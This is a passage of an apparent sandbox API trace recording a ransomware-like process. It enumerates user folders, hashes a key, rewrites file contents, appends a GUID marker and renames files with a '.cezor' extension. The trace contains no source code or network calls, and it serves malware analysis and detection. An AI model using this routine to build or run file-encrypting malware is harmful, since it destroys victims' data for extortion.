HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.530] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.531] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.531] PathFindFileNameW (pszPath="") returned="" [0060.531] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 0xffffffff [0060.531] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.531] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.531] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0060.531] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.531] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.531] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.531] PathFindFileNameW (pszPath="") returned="" [0060.531] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.531] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.531] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.531] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0060.531] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.531] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.532] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.532] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0060.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.532] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.532] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.532] PathFindFileNameW (pszPath="") returned="" [0060.532] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.532] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.532] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.532] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0060.532] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0060.532] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0060.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.533] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0060.533] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0060.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.533] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0060.533] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.533] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.533] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0060.533] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.533] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.534] PathFindFileNameW (pszPath="") returned="" [0060.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0060.534] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.534] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0060.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.534] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.534] PathFindFileNameW (pszPath="") returned="" [0060.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0060.534] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.534] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0060.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.534] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.534] PathFindFileNameW (pszPath="") returned="" [0060.535] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0060.535] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.535] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0060.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.535] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.535] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.535] PathFindFileNameW (pszPath="") returned="" [0060.535] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa882430, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa882430, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.535] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa882430, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa882430, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.535] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.535] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0060.535] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc161a830, ftCreationTime.dwHighDateTime=0x1d4c5cc, ftLastAccessTime.dwLowDateTime=0x6283aba0, ftLastAccessTime.dwHighDateTime=0x1d4ca14, ftLastWriteTime.dwLowDateTime=0x6283aba0, ftLastWriteTime.dwHighDateTime=0x1d4ca14, nFileSizeHigh=0x0, nFileSizeLow=0x7414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M45yR7c437.avi", cAlternateFileName="M45YR7~1.AVI")) returned 1 [0060.535] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M45yR7c437.avi") returned=".avi" [0060.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M45yR7c437.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\m45yr7c437.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.536] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=29716) returned 1 [0060.536] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.538] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x73ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.538] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.539] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x7414, lpOverlapped=0x0) returned 1 [0060.539] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.539] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.539] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.539] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.540] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.540] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.540] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.540] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.540] GetLastError () returned 0x0 [0060.540] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.540] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.540] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.540] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.540] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.541] CloseHandle (hObject=0x5c4) returned 1 [0060.541] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M45yR7c437.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\m45yr7c437.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M45yR7c437.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\m45yr7c437.avi.cezor")) returned 1 [0060.543] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5aa9370, ftCreationTime.dwHighDateTime=0x1d4d376, ftLastAccessTime.dwLowDateTime=0x2fb0c790, ftLastAccessTime.dwHighDateTime=0x1d4cf68, ftLastWriteTime.dwLowDateTime=0x2fb0c790, ftLastWriteTime.dwHighDateTime=0x1d4cf68, nFileSizeHigh=0x0, nFileSizeLow=0x12d33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReEw7jE5wqOg.swf", cAlternateFileName="REEW7J~1.SWF")) returned 1 [0060.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.543] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ReEw7jE5wqOg.swf") returned=".swf" [0060.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ReEw7jE5wqOg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\reew7je5wqog.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.543] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=77107) returned 1 [0060.543] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.545] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12d0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.545] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.546] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.546] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12d33, lpOverlapped=0x0) returned 1 [0060.547] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.547] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.547] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.547] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.548] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.548] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.548] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.548] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.548] GetLastError () returned 0x0 [0060.548] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.548] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12d30) returned 0x3132418 [0060.549] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.549] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x12d2e, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x12d2e, lpOverlapped=0x0) returned 1 [0060.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.549] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12d33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 